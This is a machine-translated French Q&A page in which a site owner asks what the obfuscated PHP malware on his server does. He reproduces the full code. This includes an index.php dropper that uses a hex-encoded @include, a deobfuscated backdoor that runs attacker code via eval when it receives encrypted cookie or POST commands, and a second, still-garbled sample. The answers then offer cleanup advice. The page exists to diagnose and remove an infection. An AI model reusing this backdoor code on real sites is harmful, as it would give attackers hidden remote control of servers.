web-dev-qa-db-fra.com

Mon site est infecté par obfusqué PHP malware - que fait-il + comment puis-je m'en débarrasser?

J'ai trois sites Web tous hébergés sur le même serveur Web. Récemment, je travaillais sur l'un des sites Web et j'ai remarqué qu'il y a environ un mois, de nombreux fichiers avaient été modifiés. Plus précisément, toutes les instances de index.html ont été renommées en index.html.bak.bak et les fichiers index.php ont été mis à leur place. Les fichiers index.php sont relativement simples. ils incluent un fichier caché quelque part dans le système de fichiers de chaque site Web (apparemment un dossier aléatoire) qui a été masqué avec l'encodage JS hex, puis renvoie le fichier index.html d'origine:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

Le fichier inclus ici était

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

Sur un autre domaine, c'était

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

Comme vous pouvez probablement le deviner, ce ne sont pas des favicons, mais des fichiers php avec une extension différente. Maintenant, je n'ai aucune idée de ce que font ces fichiers (c'est pourquoi je demande ici). Ils étaient totalement obscurcis, mais https://malwaredecoder.com/ semble être en mesure de le percer. Les résultats peuvent être trouvés ici, mais j'ai collé le code masqué ci-dessous:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

En outre, il existe un fichier appelé init5.php dans l'un des dossiers de contenu du site Web, qui, après avoir désobfusqué autant que possible, devient:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

Plus je regarde, plus il y a de fichiers PHP obfusqués, ce qui est un peu effrayant. Il y a tons d'entre eux. Même les fichiers index.php de Wordpress semblent avoir été infectés; les @includes obscurcis leur ont été ajoutés. En outre, sur l'un des sites Web, il existe un fichier intitulé "ssh" qui semble être une sorte de fichier binaire (peut-être le programme "ssh" lui-même?)

Est-ce que quelqu'un sait ce que c'est ou fait? Comment sont-ils arrivés sur mon serveur? Comment puis-je me débarrasser d'eux et m'assurer qu'ils ne reviendront jamais?

Quelques autres informations: mon hébergeur est Laughing Squid; Je n'ai aucun accès Shell. Le serveur exécute Linux, Apache 2.4 et PHP 5.6.29. Je vous remercie!

8
Wilson Biggs

J'ai eu le même malware. Le logiciel malveillant ajoute ou modifie 10 à 15 fichiers. J'ai utilisé le plug-in Quttera WordPress (gratuit) pour trouver les fichiers. La plupart des fichiers peuvent simplement être supprimés (attention, les identifiants Quttera sont plus infectés), mais certains fichiers WordPress ont été modifiés et doivent être remplacés. 

1
Zach

J'ai eu le même problème… .. Il est causé par des requêtes malveillantes de publication http… .. Voici un bon article sur la façon de l'arrêter: 

Ce qui suit dans un fichier .htaccess arrêtera toutes les demandes de publication . https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
0
summars

J'ai dû écrire moi-même un script PHP pour analyser l'intégralité de l'arborescence du serveur, répertoriant tous les chemins d'accès aux répertoires, et un autre pour rechercher des infections. Ne peut que partiellement nettoyer, mais fournit l'aide nécessaire au nettoyage des piétons.

REMARQUE:
Il est mal écrit et devrait probablement être supprimé après utilisation. Mais ça m'a aidé.

Une copie compressée est ici .
Aucune garantie; Décompressez-le et regardez ce que vous avez mis sur votre serveur avant de le télécharger!

Mise à jour: nettoie maintenant plus (pas tous!). Suivi avec le nettoyage des mains (voir ci-dessous).

0
user2528858

Ce n'est pas un hack dont vous avez besoin pour jeter vos sites et votre serveur. C'est juste un hack php. Débarrassez-vous de tous les fichiers et codes php malveillants et vous serez bon. Voici comment je l'ai fait sur Drupal. http://rankinstudio.com/Drupal_ico_index_hack

0
Rankinstudio